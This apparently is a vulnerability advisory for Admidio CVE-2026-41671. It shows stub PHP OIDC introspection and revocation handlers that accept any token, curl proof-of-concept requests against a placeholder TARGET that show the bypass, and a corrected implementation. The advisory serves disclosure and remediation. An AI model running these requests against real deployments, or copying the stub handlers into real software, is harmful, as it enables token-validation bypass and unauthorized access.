Admidio CVE-2026-41671

public function handleIntrospectionRequest() {
    // TODO_RK
    if (!$this->isServiceSetup) {
        $this->setupService();
    }
    return new JsonResponse(["active" => true]);
}

public function handleRevocationRequest() {
    // TODO_RK
    if (!$this->isServiceSetup) {
        $this->setupService();
    }

    return new JsonResponse(["revoked" => true]);
}

} elseif (strpos($requestUri, '/oidc/introspect') !== false) {
    $response = $oidcService->handleIntrospectionRequest();

# Step 1: Confirm the introspection endpoint exists and always returns active
# No valid token needed - any string works
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=COMPLETELY_FABRICATED_TOKEN_12345"
# Expected response: {"active":true}
# Step 2: Try with an empty token
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token="
# Expected response: {"active":true}
# Step 3: Demonstrate that revocation is also broken
curl -X POST https://TARGET/modules/sso/index.php/oidc/revoke \
  -d "token=any_valid_token_here"
# Expected response: {"revoked":true}
# But the token is NOT actually revoked in the database
# Step 4: Verify the token is still active after "revocation"
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
  -d "token=any_valid_token_here"
# Still returns: {"active":true}

public function handleIntrospectionRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }

    $request = $this->getRequest();

    // 1. Authenticate the resource server (RFC 7662 Section 2.1)
    // The resource server MUST authenticate using client credentials
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;

    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }

    // 2. Get and validate the token
    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (empty($tokenValue)) {
        return new JsonResponse(['active' => false]);
    }

    try {
        // Validate the token using the resource server
        $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
            $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
        );

        $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');

        // Check if token is revoked
        if ($this->accessTokenRepository->isAccessTokenRevoked($tokenId)) {
            return new JsonResponse(['active' => false]);
        }

        $token = $this->accessTokenRepository->getToken($tokenId);

        // Check expiry
        if ($token->getExpiryDateTime() < new \DateTimeImmutable()) {
            return new JsonResponse(['active' => false]);
        }

        return new JsonResponse([
            'active' => true,
            'sub' => $token->getUserIdentifier(),
            'client_id' => $token->getClient()->getIdentifier(),
            'exp' => $token->getExpiryDateTime()->getTimestamp(),
            'scope' => implode(' ', array_map(fn($s) => $s->getIdentifier(), $token->getScopes())),
        ]);
    } catch (\Exception $e) {
        return new JsonResponse(['active' => false]);
    }
}

public function handleRevocationRequest() {
    if (!$this->isServiceSetup) {
        $this->setupService();
    }

    $request = $this->getRequest();

    // Authenticate the client
    $clientId = $request->getParsedBody()['client_id'] ?? null;
    $clientSecret = $request->getParsedBody()['client_secret'] ?? null;

    if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
        return new JsonResponse(['error' => 'invalid_client'], 401);
    }

    $tokenValue = $request->getParsedBody()['token'] ?? '';
    if (!empty($tokenValue)) {
        try {
            $validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
                $request->withHeader('Authorization', 'Bearer ' . $tokenValue)
            );
            $tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
            $this->accessTokenRepository->revokeAccessToken($tokenId);
        } catch (\Exception $e) {
            // RFC 7009: The server responds with HTTP 200 even for invalid tokens
        }
    }

    return new JsonResponse([], 200);
}